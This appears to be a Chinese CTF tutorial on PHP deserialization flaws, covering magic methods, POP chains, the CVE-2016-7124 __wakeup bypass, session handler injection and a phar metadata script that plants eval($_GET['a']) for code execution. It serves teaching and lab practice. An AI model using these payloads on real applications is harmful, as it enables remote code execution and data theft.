靶场搭建:
所有例题靶场里面都有
直接把文件放在phpstudy的目录下,或者用docker打开都行
类的结构,类的内容,实例化和赋值,类的修饰符介绍
highlight_file(__FILE__);
class hero{
var $name;
var $sex;
function jineng($var1) {
echo $this->name;
echo $var1;
}
}
$obj = new hero();
$obj->name = "haha";
$obj->sex = "男";
print_r($obj);
?>
外部可以用调用public属性,类的内部可以调用protected,public属性成员属性。都不能调用private属性的成员
a - array b - boolean
d - double i - integer
o - common object r - reference
s - string C - custom object
O - class N - null
R - pointer reference U - unicode string
private属性变量,会在其前面和后面各加上%00,且还要加上类的名字
protect属性变量,会在其前面加上%00*%00
class hero{
private $id='nihao';
protected $ip='123';
public $ia='ddd';
}
$a = new hero();
echo serialize($a);
?>
构建函数,在实例化一个对象时,自动进行执行的一个方法;
触发时机:实例化对象 功能:提前清理不必要要的内容 参数:非必要 返回值:
析构函数,在对象的所以被引用被删除或者当对象被显示销毁时执行的魔术方法
触发时机:对象引用完成,或对象被销毁 功能: 参数: 返回值:
序列化serialize()函数会检查类中是否存在一个魔术方法__sleep()
如果存在,该方法被调用,然后才执行序列化操作。
此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称为数组。
如果该方法并为返回任何内容,则NULL被序列化,并产生一个E_NOTICE级别的错误
触发时机:序列化serialize之前 功能:对象被序列化之前触发,返回需要被序列化存储的属性,删除不必要的属性 参数:return array 返回值:返回必要的存储属性
class User {
const SITE = 'uusama';
public $username;
public $nickname;
private $password;
public function __construct($username, $nickname, $password) {
$this->username = $username;
$this->nickname = $nickname;
$this->password = $password;
}
public function __sleep() {
return array('username', 'nickname');
}
}
$user = new User('a', 'b', 'c');
echo serialize($user);
?>
unserialize()会检查是否存在一个__wakeup()方法
如果存在,则先调用__wakeup方法,预先准备对象需要的资源库。
预先准备对象需要的资源库,返回void,常用于反序列化操作中重新建立数据库连接或执行其他初始操作
触发时机:反序列化unserialize()之前 功能: 参数: 返回值:
__tostring()
表达方式错误导致的魔术方法触发
触发时机:对象被当成字符串调用 功能: 参数: 返回值:
__invoke()
格式表达错误导致魔术方法触发
触发时机:把对象当成函数去调用 功能: 参数: 返回值:
class User {
var $benben = "this is test!!";
public function __invoke()
{
echo '它不是个函数!';
}
}
$test = new User() ;
echo $test ->benben;
echo "
";
echo $test() ->benben;
?>
__call()
调用时机:调用一个不存在的方法 功能: 参数:2个参数传参$ arg1,$arg2 返回值:调用的不存的方法名称和参数
class User {
public function __call($arg1,$arg2)
{
echo "$arg1,$arg2[0]";
}
}
$test = new User() ;
$test -> callxxx('a');
?>
$ arg1,$arg2;
$arg1,调用的不存在的方法的名称;
$arg2,调用不存在的方法的参数;
class User {
public function __callStatic($arg1,$arg2)
{
echo "$arg1,$arg2[0]";
}
}
$test = new User() ;
$test::callxxx('a');
?>
class User {
public $var1;
public function __get($arg1)
{
echo $arg1;
}
}
$test = new User();
$test ->var2;
?>
class User {
public $var1;
public function __set($arg1 ,$arg2)
{
echo $arg1.','.$arg2;
}
}
$test = new User() ;
$test ->var2=1;
?>
class User {
private $var;
public function __isset($arg1 )
{
echo $arg1;
}
}
$test = new User() ;
isset($test->var);
?>
class User {
private $var;
public function __unset($arg1 )
{
echo $arg1;
}
}
$test = new User() ;
unset($test->var);
?>
class User {
private $var;
public function __clone( )
{
echo "__clone test";
}
}
$test = new User() ;
$newclass = clone($test)
?>
反序列化的过程中,unserialize()接收的值(字符串)可控
通过更改这个值,得到所需要的代码
通过调用方法,触发代码执行
魔术方法在特定条件下自动调用相关方法,最终导致触发代码。
魔术方法触发规则
魔术方法触发前提是:魔术方法所在的类(或对象)被调用
在反序列化中,我们可以控制的数据就是对象中的属性值(成员变量),
所以在php反序列化中有一种漏洞利用方法叫"面向属性编程“,
pop链就是利用魔术方法在里面进行多次跳转然后获取敏感数据的一种payload。
POC(全程:Proof of concept)中午译为概念验证。在安全界可以理解为漏洞验证程序。POC是一段不完整的程序,仅仅是为了证明提出者的观点的一段代码。
//flag is in flag.php
class Modifier {
private $var;
public function append($value)
{
include($value);
echo $flag;
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
echo $this->source;
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
?>
//flag is in flag.php
class Modifier {
private $var='flag.php';
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
$mod = new Modifier();
$test = new Test();
$test->p=$mod;
$show = new Show();
$show->source = $show;
$show->str=$test;
echo serialize($show);
?>
结果:O:4:“Show”:2:{s:6:“source”;r:1;s:3:“str”;O:4:“Test”:1:{s:1:“p”;O:8:“Modifier”:1:{s:13:“Modifiervar”;s:8:“flag.php”;}}}//注意var为私有属性,应该添加%00,%00
反序列化分隔符:
反序列化以;}结束,后面的字符串不影响正常的反序列化
属性逃逸:
一般数据先经过一次serialize再经过unserialize,在这个中间反序列化的字符串变多或者变少的时候有可能存在反序列化属性逃逸。
利用原理:反序列化逃逸的题目,会使用preg_replace函数替换关键字符,会使得关键字符增多或减少。
例题与原理讲解
反序列化漏洞:CVE-2016-7124
版本:
php5<5.6.25 php7<7.0.10
如果存在__wakeup方法,调用unserilize()方法前则先调用__wakeup方法,但是序列化字符串中表示对象属性个数大于真实属性个数时,会跳过__wakeup()的执行
class secret{
var $file='index.php';
public function __construct($file){
$this->file=$file;
}
function __destruct(){
include_once($this->file);
echo $flag;//目标
}
function __wakeup(){
$this->file='index.php';
}
}
$cmd=$_GET['cmd'];
if (!isset($cmd)){
highlight_file(__FILE__);
}
else{
if (preg_match('/[oc]:\d+:/i',$cmd)){
echo "Are you daydreaming?";
}
else{
unserialize($cmd);
}
}
//sercet in flag.php
?>
这个正则表示匹配查看是否含有数字
如何绕过呢?
我们反序列化是需要数字的那怎么绕过呢,只需要在数字前面加上一个+号即可绕过
**payload:**O:+6:“secret”{s:+4:“file”;s:+8:“flag.php”;}
进行一次url编码:
O%3A%2B6%3A%22secret%22%3A%2B1%3A%7Bs%3A%2B4%3A%22file%22%3Bs%3A%2B8%3A%22flag.php%22%3B%7D
这个我也不是很懂,很少遇见,大牛可以在评论区讲解讲解
include("flag.php");
class just4fun {
var $enter;
var $secret;
}
if (isset($_GET['pass'])) {
$pass = $_GET['pass'];
$pass=str_replace('*','\*',$pass);
}
$o = unserialize($pass);
if ($o) {
$o->secret = "*";
if ($o->secret === $o->enter)
echo "Congratulation! Here is my secret: ".$flag;
else
echo "Oh no... You can't fool me";
}
else echo "are you trolling?";
?>
构造poc链条:
class just4fun {
var $enter;
var $secret;
}
$a = new just4fun();
$a ->enter=&$a ->secret;
echo serialize($a);
?>
payload:O:8:“just4fun”:2:{s:5:“enter”;N;s:6:“secret”;R:2;}
存储格式:06benben:s:8:“dazhuang”;01️s:3:“666”;
php_binary:键名的长度与对应的ascii字符+键名+经过serialize()函数序列化处理的字符串的值
<?php
highlight_file(__FILE__);
/*hint.php*/
session_start();
class Flag{
public $name;
public $her;
function __wakeup(){
$this->her=md5(rand(1, 10000));
if ($this->name===$this->her){
include('flag.php');
echo $flag;
}
}
}
hint.php:
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['a'] = $_GET['a'];
?>
?>
poc链构造:
class Flag{
public $name;
public $her;
}
$a = new Flag();
$a -> name = &$a-> her;
echo serialize($a);
结果:O:4:“Flag”:2:{s:4:“name”;N;s:3:“her”;R:2;}
最终payload:?a=|O:4:“Flag”:2:{s:4:“name”;N;s:3:“her”;R:2;}
<?php
class Testobj
{
var $output="echo 'ok';";
function __destruct()
{
eval($this->output);
}
}
if(isset($_GET['filename']))
{
$filename=$_GET['filename'];
var_dump(file_exists($filename));
}
?>
class Testobj
{
var $output='';
}
@unlink('test.phar'); //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar'); //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering(); //开始写文件
$phar->setStub(''); //写入stub
$o=new Testobj();
$o->output='eval($_GET["a"]);';//传入的命令
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test"); //添加要压缩的文件
$phar->stopBuffering();
?>
注意这个模板运行的时候可能会报错,注意调节php的版本
在这里插入图片描述
phar协议和php伪协议一样对这里上传的文件的后缀名没有要求,都可以直接解读
参考b站博主:橙子科技工作室(讲的非常详细,大家可以去看看)
GlobIterator 类也可以遍历一个文件目录,但与上面略不同的是其行为类似于 glob(),可以通过模式匹配来寻找文件路径。
它的特点就是,只需要知道部分名称就可以进行遍历
关于上面两个类的利用例题 (GlobIterator类的题目是被遗忘的反序列化,ArrayObject类的题目是easy_php)